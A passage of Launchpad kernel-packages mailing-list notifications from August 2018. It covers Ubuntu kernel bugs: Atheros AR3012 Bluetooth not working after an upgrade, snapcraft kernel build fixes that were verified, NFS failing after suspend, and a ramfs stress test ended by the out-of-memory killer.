Communications, Inc. AR3012 Bluetooth 4.0 (0cf3:3004) is not working.

ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: linux-image-4.15.0-32-generic 4.15.0-32.35
ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
Uname: Linux 4.15.0-32-generic x86_64
ApportVersion: 2.20.9-0ubuntu7.2
Architecture: amd64
AudioDevicesInUse:
 USERPID ACCESS COMMAND
 /dev/snd/controlC0:  diogo  1883 F pulseaudio
 /dev/snd/controlC1:  diogo  1883 F pulseaudio
CurrentDesktop: ubuntu:GNOME
Date: Tue Aug 21 09:47:30 2018
InstallationDate: Installed on 2018-05-17 (95 days ago)
InstallationMedia: Ubuntu 16.04.4 LTS "Xenial Xerus" - Release amd64 (20180228)
MachineType: SAMSUNG ELECTRONICS CO., LTD. 370E4K
ProcFB: 0 inteldrmfb
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=db6998c3-0957-409b-928c-a8483e596a24 ro
RelatedPackageVersions:
 linux-restricted-modules-4.15.0-32-generic N/A
 linux-backports-modules-4.15.0-32-generic  N/A
 linux-firmware 1.173.1
SourcePackage: linux
UpgradeStatus: Upgraded to bionic on 2018-08-14 (6 days ago)
dmi.bios.date: 03/11/2016
dmi.bios.vendor: American Megatrends Inc.
dmi.bios.version: P06RCX.075.160311.JJ
dmi.board.asset.tag: No Asset Tag
dmi.board.name: NP370E4K-KW2BR
dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
dmi.board.version: SGL8537A0C-C01-G001-S0001+10.0.10240
dmi.chassis.asset.tag: No Asset Tag
dmi.chassis.type: 9
dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., LTD.
dmi.chassis.version: N/A
dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrP06RCX.075.160311.JJ:bd03/11/2016:svnSAMSUNGELECTRONICSCO.,LTD.:pn370E4K:pvrP06RCX:rvnSAMSUNGELECTRONICSCO.,LTD.:rnNP370E4K-KW2BR:rvrSGL8537A0C-C01-G001-S0001+10.0.10240:cvnSAMSUNGELECTRONICSCO.,LTD.:ct9:cvrN/A:
dmi.product.family: SAMSUNG ATIV
dmi.product.name: 370E4K
dmi.product.version: P06RCX
dmi.sys.vendor: SAMSUNG ELECTRONICS CO., LTD.

** Affects: linux (Ubuntu)
 Importance: Undecided
 Status: Confirmed


** Tags: amd64 apport-bug bionic

** Attachment added: "version.log"
   
https://bugs.launchpad.net/bugs/1788170/+attachment/5178634/+files/version.log

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788170

Title:
  Atheros Communications, Inc. AR3012 Bluetooth 4.0 (0cf3:3004) Not
  working

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Hello,

  Since my upgrade from 16.04 to 18.04, the Bluetooh Atheros
  Communications, Inc. AR3012 Bluetooth 4.0 (0cf3:3004) is not working.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  diogo  1883 F pulseaudio
   /dev/snd/controlC1:  diogo  1883 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Tue Aug 21 09:47:30 2018
  InstallationDate: Installed on 2018-05-17 (95 days ago)
  InstallationMedia: Ubuntu 16.04.4 LTS "Xenial Xerus" - Release amd64 
(20180228)
  MachineType: SAMSUNG ELECTRONICS CO., LTD. 370E4K
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=db6998c3-0957-409b-928c-a8483e596a24 ro
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  SourcePackage: linux
  UpgradeStatus: Upgraded to bionic on 2018-08-14 (6 days ago)
  dmi.bios.date: 03/11/2016
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: P06RCX.075.160311.JJ
  dmi.board.asset.tag: No Asset Tag
  dmi.board.name: NP370E4K-KW2BR
  dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.board.version: SGL8537A0C-C01-G001-S0001+10.0.10240
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.chassis.version: N/A
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrP06RCX.075.160311.JJ:bd03/11/2016:svnSAMSUNGELECTRONICSCO.,LTD.:pn370E4K:pvrP06RCX:rvnSAMSUNGELECTRONICSCO.,LTD.:rnNP370E4K-KW2BR:rvrSGL8537A0C-C01-G001-S0001+10.0.10240:cvnSAMSUNGELECTRONICSCO.,LTD.:ct9:cvrN/A:
  dmi.product.family: SAMSUNG ATIV
  dmi.product.name: 370E4K
  dmi.product.version: P06RCX
  dmi.sys.vendor: SAMSUNG ELECTRONICS CO., LTD.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788170/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788170] Re: Atheros Communications, Inc. AR3012 Bluetooth 4.0 (0cf3:3004) Not working

2018-08-21 Thread Diogo Melo Rocha
Output of dmesg | grep Blu when I try to activate Bluetooth

[   28.647464] Bluetooth: Core ver 2.22
[   28.647477] Bluetooth: HCI device and connection manager initialized
[   28.647480] Bluetooth: HCI socket layer initialized
[   28.647481] Bluetooth: L2CAP socket layer initialized
[   28.647486] Bluetooth: SCO socket layer initialized
[   28.652004] Bluetooth: hci0: don't support firmware rome 0x3101
[   34.111501] Bluetooth: BNEP (Ethernet Emulation) ver 1.3
[   34.111502] Bluetooth: BNEP filters: protocol multicast
[   34.111505] Bluetooth: BNEP socket layer initialized

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788170

Title:
  Atheros Communications, Inc. AR3012 Bluetooth 4.0 (0cf3:3004) Not
  working

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Hello,

  Since my upgrade from 16.04 to 18.04, the Bluetooh Atheros
  Communications, Inc. AR3012 Bluetooth 4.0 (0cf3:3004) is not working.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  diogo  1883 F pulseaudio
   /dev/snd/controlC1:  diogo  1883 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Tue Aug 21 09:47:30 2018
  InstallationDate: Installed on 2018-05-17 (95 days ago)
  InstallationMedia: Ubuntu 16.04.4 LTS "Xenial Xerus" - Release amd64 
(20180228)
  MachineType: SAMSUNG ELECTRONICS CO., LTD. 370E4K
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=db6998c3-0957-409b-928c-a8483e596a24 ro
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  SourcePackage: linux
  UpgradeStatus: Upgraded to bionic on 2018-08-14 (6 days ago)
  dmi.bios.date: 03/11/2016
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: P06RCX.075.160311.JJ
  dmi.board.asset.tag: No Asset Tag
  dmi.board.name: NP370E4K-KW2BR
  dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.board.version: SGL8537A0C-C01-G001-S0001+10.0.10240
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.chassis.version: N/A
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrP06RCX.075.160311.JJ:bd03/11/2016:svnSAMSUNGELECTRONICSCO.,LTD.:pn370E4K:pvrP06RCX:rvnSAMSUNGELECTRONICSCO.,LTD.:rnNP370E4K-KW2BR:rvrSGL8537A0C-C01-G001-S0001+10.0.10240:cvnSAMSUNGELECTRONICSCO.,LTD.:ct9:cvrN/A:
  dmi.product.family: SAMSUNG ATIV
  dmi.product.name: 370E4K
  dmi.product.version: P06RCX
  dmi.sys.vendor: SAMSUNG ELECTRONICS CO., LTD.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788170/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788170] Status changed to Confirmed

2018-08-21 Thread Ubuntu Kernel Bot
This change was made by a bot.

** Changed in: linux (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788170

Title:
  Atheros Communications, Inc. AR3012 Bluetooth 4.0 (0cf3:3004) Not
  working

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Hello,

  Since my upgrade from 16.04 to 18.04, the Bluetooh Atheros
  Communications, Inc. AR3012 Bluetooth 4.0 (0cf3:3004) is not working.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  diogo  1883 F pulseaudio
   /dev/snd/controlC1:  diogo  1883 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Tue Aug 21 09:47:30 2018
  InstallationDate: Installed on 2018-05-17 (95 days ago)
  InstallationMedia: Ubuntu 16.04.4 LTS "Xenial Xerus" - Release amd64 
(20180228)
  MachineType: SAMSUNG ELECTRONICS CO., LTD. 370E4K
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=db6998c3-0957-409b-928c-a8483e596a24 ro
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  SourcePackage: linux
  UpgradeStatus: Upgraded to bionic on 2018-08-14 (6 days ago)
  dmi.bios.date: 03/11/2016
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: P06RCX.075.160311.JJ
  dmi.board.asset.tag: No Asset Tag
  dmi.board.name: NP370E4K-KW2BR
  dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.board.version: SGL8537A0C-C01-G001-S0001+10.0.10240
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.chassis.version: N/A
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrP06RCX.075.160311.JJ:bd03/11/2016:svnSAMSUNGELECTRONICSCO.,LTD.:pn370E4K:pvrP06RCX:rvnSAMSUNGELECTRONICSCO.,LTD.:rnNP370E4K-KW2BR:rvrSGL8537A0C-C01-G001-S0001+10.0.10240:cvnSAMSUNGELECTRONICSCO.,LTD.:ct9:cvrN/A:
  dmi.product.family: SAMSUNG ATIV
  dmi.product.name: 370E4K
  dmi.product.version: P06RCX
  dmi.sys.vendor: SAMSUNG ELECTRONICS CO., LTD.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788170/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788170] Re: Atheros Communications, Inc. AR3012 Bluetooth 4.0 (0cf3:3004) Not working

2018-08-21 Thread Diogo Melo Rocha
** Attachment added: "aditional log"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788170/+attachment/5178653/+files/lspci-vnvn.log

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788170

Title:
  Atheros Communications, Inc. AR3012 Bluetooth 4.0 (0cf3:3004) Not
  working

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Hello,

  Since my upgrade from 16.04 to 18.04, the Bluetooh Atheros
  Communications, Inc. AR3012 Bluetooth 4.0 (0cf3:3004) is not working.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  diogo  1883 F pulseaudio
   /dev/snd/controlC1:  diogo  1883 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Tue Aug 21 09:47:30 2018
  InstallationDate: Installed on 2018-05-17 (95 days ago)
  InstallationMedia: Ubuntu 16.04.4 LTS "Xenial Xerus" - Release amd64 
(20180228)
  MachineType: SAMSUNG ELECTRONICS CO., LTD. 370E4K
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=db6998c3-0957-409b-928c-a8483e596a24 ro
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  SourcePackage: linux
  UpgradeStatus: Upgraded to bionic on 2018-08-14 (6 days ago)
  dmi.bios.date: 03/11/2016
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: P06RCX.075.160311.JJ
  dmi.board.asset.tag: No Asset Tag
  dmi.board.name: NP370E4K-KW2BR
  dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.board.version: SGL8537A0C-C01-G001-S0001+10.0.10240
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.chassis.version: N/A
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrP06RCX.075.160311.JJ:bd03/11/2016:svnSAMSUNGELECTRONICSCO.,LTD.:pn370E4K:pvrP06RCX:rvnSAMSUNGELECTRONICSCO.,LTD.:rnNP370E4K-KW2BR:rvrSGL8537A0C-C01-G001-S0001+10.0.10240:cvnSAMSUNGELECTRONICSCO.,LTD.:ct9:cvrN/A:
  dmi.product.family: SAMSUNG ATIV
  dmi.product.name: 370E4K
  dmi.product.version: P06RCX
  dmi.sys.vendor: SAMSUNG ELECTRONICS CO., LTD.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788170/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1782116] Re: snapcraft.yaml: missing ubuntu-retpoline-extract-one script breaks the build

2018-08-21 Thread Kleber Sacilotto de Souza
Verified the fix on Bionic with linux 4.15.0-33.36

---
$ snapcraft
[...]
Staging firmware 
Staging kernel 
Priming firmware 
Priming kernel 
Determining the version from the project repo (version-script).
The version has been set to '4.15.0-33.36'
Snapping 'pc-kernel' |  
  
Snapped pc-kernel_4.15.0-33.36_amd64.snap
---

And on Xenial with linux 4.4.0-134.160

---
$ snapcraft
[...]
Staging firmware 
Staging kernel 
Priming firmware 
Priming kernel 
Determining the version from the project repo (version-script).
The version has been set to '4.4.0-134.160'
Snapping 'pc-kernel' -  
  
Snapped pc-kernel_4.4.0-134.160_amd64.snap
---


** Tags removed: verification-needed-bionic verification-needed-xenial
** Tags added: verification-done-bionic verification-done-xenial

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1782116

Title:
  snapcraft.yaml: missing ubuntu-retpoline-extract-one script breaks the
  build

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Fix Committed
Status in linux source package in Bionic:
  Fix Committed

Bug description:
  Impact:

  The Ubuntu kernel source code depends on the presence of the
  retpoline-extract-one file in the script directory during build (see
  scripts/Makefile.build::cmd_ubuntu_retpoline) - such a file lives in the 
debian directory and is copied to scripts during the 'debian/rules clean' phase.

  Snapcraft is oblivious to the debian details, and the clean target is
  never invoked, breaking the normal kernel build (make defconfig; make
  ...).

  Check out the Xenia/generic or Bionic/generic tree, cd into it and
  execute: make defconfig && make or snapcraft.

  ...
    HOSTCC  scripts/mod/mk_elfconfig
  /bin/bash: ./scripts/ubuntu-retpoline-extract-one: No such file or directory
  scripts/Makefile.build:332: recipe for target 'scripts/mod/empty.o' failed
  make[2]: *** [scripts/mod/empty.o] Error 127
  make[2]: *** Waiting for unfinished jobs
    HOSTLD  arch/x86/tools/relocs
    HOSTCC  scripts/selinux/genheaders/genheaders
    HOSTCC  scripts/selinux/mdp/mdp
  scripts/Makefile.build:606: recipe for target 'scripts/mod' failed
  make[1]: *** [scripts/mod] Error 2
  make[1]: *** Waiting for unfinished jobs
    CC  arch/x86/purgatory/purgatory.o
  Makefile:589: recipe for target 'scripts' failed
  make: *** [scripts] Error 2
  make: *** Waiting for unfinished jobs
    AS  arch/x86/purgatory/stack.o
  /bin/bash: ./scripts/ubuntu-retpoline-extract-one: No such file or directory
  scripts/Makefile.build:332: recipe for target 
'arch/x86/purgatory/purgatory.o' failed
  make[1]: *** [arch/x86/purgatory/purgatory.o] Error 127
  make[1]: *** Waiting for unfinished jobs
    AS  arch/x86/purgatory/setup-x86_64.o
  /bin/bash: ./scripts/ubuntu-retpoline-extract-one: No such file or directory
  scripts/Makefile.build:435: recipe for target 'arch/x86/purgatory/stack.o' 
failed
  make[1]: *** [arch/x86/purgatory/stack.o] Error 127
  /bin/bash: ./scripts/ubuntu-retpoline-extract-one: No such file or directory
  scripts/Makefile.build:435: recipe for target 
'arch/x86/purgatory/setup-x86_64.o' failed
  make[1]: *** [arch/x86/purgatory/setup-x86_64.o] Error 127
  arch/x86/Makefile:260: recipe for target 'archprepare' failed
  make: *** [archprepare] Error 2
  Failed to run 'make -j4 bzImage modules' for 'kernel': Exited with code 2.
  Verify that the part is using the correct parameters and try again.

  Fix:

  To workaround that, before starting the build, make snapcraft do the
  copy and fix the build.

  Regression risk:

  The patch only modifies snapcraft.yaml, so none.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1782116/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1782166] Re: Invoking obsolete 'firmware_install' target breaks snap build

2018-08-21 Thread Kleber Sacilotto de Souza
Verified the fix on Bionic with linux 4.15.0-33.36

---
$ snapcraft
[...]
Staging firmware
Staging kernel
Priming firmware
Priming kernel
Determining the version from the project repo (version-script).
The version has been set to '4.15.0-33.36'
Snapping 'pc-kernel' |
Snapped pc-kernel_4.15.0-33.36_amd64.snap
---

** Tags removed: verification-needed-bionic
** Tags added: verification-done-bionic

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1782166

Title:
  Invoking obsolete 'firmware_install' target breaks snap build

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Bionic:
  Fix Committed

Bug description:
  Impact:

  The snapcraft.yaml in bionic/master invokes the now obsolete
  'firmware_install' target that was removed in
  5620a0d1aacd554ebebcff373e31107bb1ef7769 ("firmware: delete in-kernel
  firmware"), and by invoking a non existing target, it breaks the build
  process.

  On a generic amd64 environment, check out the Bionic/generic tree, cd
  into it and execute snapcraft:

  linux $ snapcraft
  ...
  make -j4 bzImage modules
  ...
    LD [M]  virt/lib/irqbypass.ko
  make: *** No rule to make target 'firmware_install'.  Stop.
  make: *** Waiting for unfinished jobs
    INSTALL arch/x86/crypto/blowfish-x86_64.ko
  ...
  make -j4 CONFIG_PREFIX=/home/flag/canonical/linux/parts/kernel/install 
modules_install 
INSTALL_MOD_PATH=/home/flag/canonical/linux/parts/kernel/install 
firmware_install 
INSTALL_FW_PATH=/home/flag/canonical/linux/parts/kernel/install/lib/firmware
  Failed to run 'make -j4 
CONFIG_PREFIX=/home/flag/canonical/linux/parts/kernel/install modules_install 
INSTALL_MOD_PATH=/home/flag/canonical/linux/parts/kernel/install 
firmware_install 
INSTALL_FW_PATH=/home/flag/canonical/linux/parts/kernel/install/lib/firmware' 
for 'kernel': Exited with code 2.
  Verify that the part is using the correct parameters and try again.

  Fix:

  Since firmware files were removed from the Linux source code, and we
  rely on files provided by the linux-firmware package, skip invoking
  'firmware_install' altogether and fix the build.

  linux $ snapcraft
  ...
  Staging kernel
  Staging firmware
  Priming kernel
  Priming firmware
  Determining the version from the project repo (version-script).
  The version has been set to '4.15.0-24.26'
  Snapping 'pc-kernel' |
  Snapped pc-kernel_4.15.0-24.26_amd64.snap
  linux $

  Regression risk:

  None since the patch only modifies the snapcraft.yaml file.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1782166/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1785788] Re: NFS breaks after wake from suspend

2018-08-21 Thread Christof Köhler
Hello,

good find, the headline mentions autofs so I probably would have never
found it !

We have not been able to trigger this again with using just one client.
I will probably increase the number of clients which suspend (over the
weekends) again next week.

I check on an ubuntu 16.04 machine. That uses vers=4.0 according to
mount. A debian stable (debian 9) machine uses apparently vers=4.2 as
does ubuntu 18.04. So forcing vers=4.0 is certainly worth a try, but the
problem of reliably reproducing remains unfortunately (not even thinking
about fixing it with those circumstances).

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1785788

Title:
  NFS breaks after wake from suspend

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  Hello,

  I am observing all symptoms of debian bug 898060 
(https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=898060) on ubuntu bionic 
4.15.0-23-generic x86_64 clients
  with a Centos7 NFS server (3.10.0-693.21.1.el7.x86_64).

  After a wake from suspend the server always logs
  kernel: NFSD: client 2001:638:redacted testing state ID with incorrect client 
ID
  which is not observed with ubuntu 16.04 (kernel 4.4) clients. Sporadically 
after wake from suspend (takes days to weeks to trigger) the server logs are 
flooded with messages of the type
  kernel: RPC request reserved 84 but used 276
  and NFS on the client does not work any more. This also has not been observed 
with our 20 or so ubuntu 16.04 NFS clients in the last two years.

  Rebooting the client appears to stop the log flooding on the server
  and NFS works normally after the reboot. Remark: systemd hangs during
  shutdown, presumably waiting for the NFS mount to stop, the power
  button is the only remaining option.

  I will upgrade to the latest bionic kernel later and try to trigger
  this again.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785788/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788151] Status changed to Confirmed

2018-08-21 Thread Ubuntu Kernel Bot
This change was made by a bot.

** Changed in: linux (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788151

Title:
  ubuntu_ramfs_stress will get killed with Bionic generic kernel on KVM
  node

Status in Stress-ng:
  New
Status in ubuntu-kernel-tests:
  New
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  It looks like this issue won't happen with Bionic KVM kernel on KVM nodes.
  Only with Bionic generic kernel on KVM nodes (1G ram)

  Output from syslog indicates this test was killed due to OOM:
  https://pastebin.ubuntu.com/p/wcY4DtDFtT/

   Running 'ls -al /home/ubuntu/autotest/client/tests/ubuntu_ramfs_stress'
   [stdout] total 28
   [stdout] drwxrwxr-x   2 ubuntu ubuntu 4096 Aug 21 11:16 .
   [stdout] drwxrwxr-x 165 ubuntu ubuntu 4096 Aug 21 11:14 ..
   [stdout] -rw-rw-r--   1 ubuntu ubuntu  501 Aug 21 11:14 control
   [stdout] -rw-rw-r--   1 ubuntu ubuntu 2303 Aug 21 11:14 
ubuntu_ramfs_stress.py
   [stdout] -rw-r--r--   1 root   root   2834 Aug 21 11:16 
ubuntu_ramfs_stress.pyc
   [stdout] -rwxrwxr-x   1 ubuntu ubuntu 4169 Aug 21 11:14 
ubuntu_ramfs_stress.sh
   true'
GOODubuntu_ramfs_stress.setup   
ubuntu_ramfs_stress.setup   timestamp=1534850377localtime=Aug 21 
11:19:37   completed successfully
END GOODubuntu_ramfs_stress.setup   
ubuntu_ramfs_stress.setup   timestamp=1534850377localtime=Aug 21 
11:19:37   
   Persistent state client._record_indent now set to 1
   Persistent state client.unexpected_reboot deleted
   Test has timeout: 18000 sec.
START   ubuntu_ramfs_stress.ramfs-stress
ubuntu_ramfs_stress.ramfs-stresstimestamp=1534850377timeout=18000   
localtime=Aug 21 11:19:37   
   Persistent state client._record_indent now set to 2
   Persistent state client.unexpected_reboot now set to 
('ubuntu_ramfs_stress.ramfs-stress', 'ubuntu_ramfs_stress.ramfs-stress')
   Waiting for pid 10774 for 18000 seconds
   Running 'LOG=/tmp/ramfs-falure.log 
STRESS_NG=/home/ubuntu/autotest/client/tmp/ubuntu_ramfs_stress/src/stress-ng/stress-ng
 DURATION=15s bash -c 
/home/ubuntu/autotest/client/tests/ubuntu_ramfs_stress/ubuntu_ramfs_stress.sh 
/home/ubuntu/autotest/client/tmp/ubuntu_ramfs_stress/src 2>&1'
   [stdout] Total of 229376 KB free memory
   [stdout] Making ram disk of 256K
   [stdout]  
   [stdout] 

   [stdout] Stress test:   
/home/ubuntu/autotest/client/tmp/ubuntu_ramfs_stress/src/stress-ng/stress-ng 
--verify --times --metrics-brief --syslog --keep-name -t 15s --link 4 --symlink 
4 --lockf 4 --seek 4 --aio 4 --aio-requests 32 --dentry 4 --dir 4 --fstat 4 
--io 4 --dentries 4 --lease 4 --mmap-file --mmap-async --open 4 --rename 4 
--chdir 4 --chmod 4 --filename 4 --rename 4 --hdd 4 --hdd-opts 
sync,wr-rnd,rd-rnd,fadv-willneed,fadv-rnd --hdd-write-size 512
   [stdout] Mount point:   /mnt/ramfs-test-10779
   [stdout] Date:  Tue Aug 21 11:19:37 UTC 2018
   [stdout] Host:  zeppo
   [stdout] Kernel:4.15.0-32-generic #35-Ubuntu SMP Fri Aug 10 17:58:07 
UTC 2018
   [stdout] Machine:   zeppo x86_64 x86_64
   [stdout] CPUs online:   2
   [stdout] CPUs total:2
   [stdout] Page size: 4096
   [stdout] Pages avail:   203847
   [stdout] Pages total:   252219
   [stdout] 

   [stdout]  
   [stdout]  
   [stdout] stress-ng: info:  [10827] dispatching hogs: 4 link, 4 symlink, 4 
lockf, 4 seek, 4 aio, 4 dentry, 4 dir, 4 fstat, 4 io, 4 lease, 4 open, 4 
rename, 4 chdir, 4 chmod, 4 filename, 4 rename, 4 hdd
  Killed

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: User Name 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  AlsaDevices:
   total 0
   crw-rw 1 root audio 116,  1 Aug 21 11:13 seq
   crw-rw 1 root audio 116, 33 Aug 21 11:13 timer
  AplayDevices: Error: [Errno 2] No such file or directory: 'aplay': 'aplay'
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord': 
'arecord'
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', 
'/dev/snd/timer'] failed with exit code 1:
  Date: Tue Aug 21 11:23:44 2018
  IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig': 'iwconfig'
  Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
  MachineType: QEMU Standard PC (i440FX + PIIX, 1996)
  PciMultimedia:
   
  ProcFB:
   
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=41f2a2b1-0082-4a56-ad3b-9f99ca574aeb ro
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   

